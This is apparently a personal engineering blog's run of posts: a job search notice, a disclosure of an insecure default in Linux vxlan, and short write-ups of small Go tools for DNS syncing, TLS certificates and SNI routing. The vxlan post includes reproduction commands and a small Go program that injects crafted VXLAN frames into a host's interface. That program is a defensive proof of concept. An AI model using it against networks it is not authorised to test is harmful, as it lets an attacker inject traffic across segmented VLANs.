I decided to leave my job (Principal Software Engineer) after 4 years. I have no idea what I want to do next, so I’ve been having loads of chats to try and work that out.
I like working in mission focused organizations, working to fix problems across the stack, from interpersonal down to the operating system. I enjoy “going where I’m rare”, places that don’t always get the most attention. At my last job, I most enjoyed working to drive engineering standards for all products across the company, mentoring engineers across all teams and seniority levels, and serving as an advisor for senior leadership as we grew the engineering team from 3 to 150 people.
If you have a role that you think I’d like to hear about, I’d love to hear about it at jobs{}pault.ag (where the {} is an @ sign).
I’ve spent a bit of time playing with vxlan - which is very neat, but also incredibly insecure by default.
When using vxlan, be very careful to understand how the host is connected to the internet. The kernel will listen on all interfaces for packets, which means hosts accessable to VMs it’s hosting (e.g., by bridged interface or a private LAN will accept packets from VMs and inject them into arbitrary VLANs, even ones it’s not on.
I reported this to the kernel mailing list to no reply with more technical details.
The tl;dr is:
$ ip link add vevx0a type veth peer name vevx0z $ ip addr add 169.254.0.2/31 dev vevx0a $ ip addr add 169.254.0.3/31 dev vevx0z $ ip link add vxlan0 type vxlan id 42 \ local 169.254.0.2 dev vevx0a dstport 4789 $ # Note the above 'dev' and 'local' ip are set here $ ip addr add 10.10.10.1/24 dev vxlan0
results in vxlan0 listening on all interfaces, not just vevx0z
or vevx0a
. To prove it to myself, I spun up a docker container (using a completely different network bridge – with no connection to any of the interfaces above), and ran a Go program to send VXLAN UDP packets to my bridge host:
$ docker run -it --rm -v $(pwd):/mnt debian:unstable /mnt/spam 172.17.0.1:4789 $
which results in packets getting injected into my vxlan interface
$ sudo tcpdump -e -i vxlan0 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on vxlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 21:30:15.746754 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746773 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746787 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746801 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746815 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746827 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746870 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746885 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746899 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 21:30:15.746913 de:ad:be:ef:00:01 (oui Unknown) > Broadcast, ethertype IPv4 (0x0800), length 64: truncated-ip - 27706 bytes missing! 33.0.0.0 > localhost: ip-proto-114 10 packets captured 10 packets received by filter 0 packets dropped by kernel
(the program in question is the following:)
package main import ( "net" "os" "github.com/mdlayher/ethernet" "github.com/mdlayher/vxlan" ) func main() { conn, err := net.Dial("udp", os.Args[1]) if err != nil { panic(err) } for i := 0; i < 10; i++ { vxf := &vxlan.Frame{ VNI: vxlan.VNI(42), Ethernet: ðernet.Frame{ Source: net.HardwareAddr{0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x01}, Destination: net.HardwareAddr{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}, EtherType: ethernet.EtherTypeIPv4, Payload: []byte("Hello, World!"), }, } frb, err := vxf.MarshalBinary() if err != nil { panic(err) } _, err = conn.Write(frb) if err != nil { panic(err) } } }
When using vxlan, be absolutely sure all hosts that can address any interface on the host are authorized to send arbitrary packets into any VLAN that box can send to, or there’s very careful and specific controls and firewalling. Note this includes public interfaces (e.g., dual-homed private network / internet boxes), or any type of dual-homing (VPNs, etc).
I’ve been hacking on a project on and off for my LAN called DNSync. This will take a DNSMasq leases file and sync it to Amazon Route 53.
I’ve added a new feature, which will create A reccords for each MAC address on the LAN.
Since DNSync won’t touch CNAME records, I use CNAME records (manually) to point to the auto-synced A records for services on my LAN (such as my Projector, etc).
Since It’s easy for two machines to have the same name, I’ve decided to add A records for each MAC as well as their client name. They take the fomm of something like ab-cd-ef-ab-cd-ef.by-mac.paultag.house.
, which is harder to accedentally collide.
While setting up my new network at my house, I figured I’d do things right and set up an IPSec VPN (and a few other fancy bits). One thing that became annoying when I wasn’t on my LAN was I’d have to fiddle with the DNS Resolver to resolve names of machines on the LAN.
Since I hate fiddling with options when I need things to just work, the easiest way out was to make the DNS names actually resolve on the public internet.
A day or two later, some Golang glue, and AWS Route 53, and I wrote code that would sit on my dnsmasq.leases
, watch
inotify
for IN_MODIFY
signals, and sync the records to AWS Route 53.
I pushed it up to my GitHub as DNSync.
PRs welcome!
In the spirit of blogging about some of the code i’ve written in the past year or two, I wrote a small utility library called go-haversine, which uses the Haversine Forumla to compute the distance between two points.
This is super helpful when working with GPS data - but remember, this assumes everything’s squarely on the face of the planet.
A few weeks ago, I hacked up go-wmata, some golang bindings to the WMATA API. This is super handy if you are in the DC area, and want to interface to the WMATA data.
As a proof of concept, I wrote a yo bot called @WMATA
, where it returns the closest station if you Yo it your location. For hilarity, feel free to Yo
it from outside DC.
For added fun, and puns, I wrote a dbus
proxy for the API as weel, at wmata-dbus, so you can query the next train over dbus. One thought was to make a GNOME Shell extension to tell me when the next train is. I’d love help with this (or pointers on how to learn how to do this right).
A while back, I found myself in need of some TLS certificates set up and issued for a testing environment.
I remembered there was some code for issuing TLS certs in Docker, so I yanked some of that code and made a sensable CLI API over it.
Thus was born minica!
Something as simple as minica [email protected] domain.tld
will issue two TLS certs (one with a Client EKU, and one server) issued from a single CA.
Next time you’re in need of a few TLS keys (without having to worry about stuff like revocation or anything), this might be the quickest way out!
I’ll be at HOPE 11 this year - if anyone else will be around, feel free to send me an email! I won’t have a phone on me (so texting only works if you use Signal!)
Looking forward for a chance to see everyone soon!
A while back, I found myself in need of two webservers that would terminate TLS (with different rules). I wanted to run some custom code I’d written (which uses TLS peer authentication), and also nginx on port 443.
The best way I figured out how to do this was to write a tool to sit on port 443, and parse TLS Client Hello packets, and dispatch to the correct backend depending on the SNI name.
SNI, or Server Name Indication allows the client to announce (yes over cleartext!) what server it’s looking for, similar to the HTTP Host header. Sometimes, like in the case above, the Host header won’t work, since you’ve already done a TLS handshake by the time you figure out who they’re looking for.
I also spun the Client Hello parser out into its own importable package, just in case someone else finds themselves in this same boat.
The code’s up on github.com/paultag/sniff!
Back in 2014, Mako ran a Boston Iron Blogger chapter, where you had to blog once a week, or you owed $5 into the pot. A while later, I ran it (along with Molly and Johns), and things were great.
When I moved to DC, I had already talked with Tom Lee and Eric Mill about running a DC Iron Blogger chapter, but it hasn’t happened in the year and a half I’ve been in DC.
This week, I make good on that, with a fantastic group set up at dc.iron-blogger.com; with more to come (I’m sure!).
Looking forward to many parties and though provoking blog posts in my future. I’m also quite pleased I’ll be resuming my blogging. Hi, again, planet Debian!